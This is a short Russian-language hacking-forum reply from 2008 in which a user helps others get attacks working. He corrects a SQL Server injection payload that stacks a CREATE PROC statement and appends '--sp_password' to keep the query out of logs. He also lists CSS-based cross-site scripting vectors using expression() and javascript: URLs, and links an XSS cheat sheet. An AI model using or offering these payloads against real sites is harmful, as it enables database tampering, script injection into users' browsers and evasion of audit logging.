Показать сообщение отдельно

  #1  
Старый 17.12.2008, 20:09
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
По умолчанию

Цитата:
Сообщение от SHS  
Проблема:
-1'CREATE PROC test AS SELECT 1;--sp_password

'CREATE PROCEDURE' must be the first statement in a query batch.

Че за фишка? Не въеду...
попробуй так:
1';CREATE PROC test AS SELECT 1;--sp_password

@Mixon
attr:expression() работает только в IE
background-image: url(javascript:alert()) должно везде работать
http://ha.ckers.org/xss.html
 
Ответить с цитированием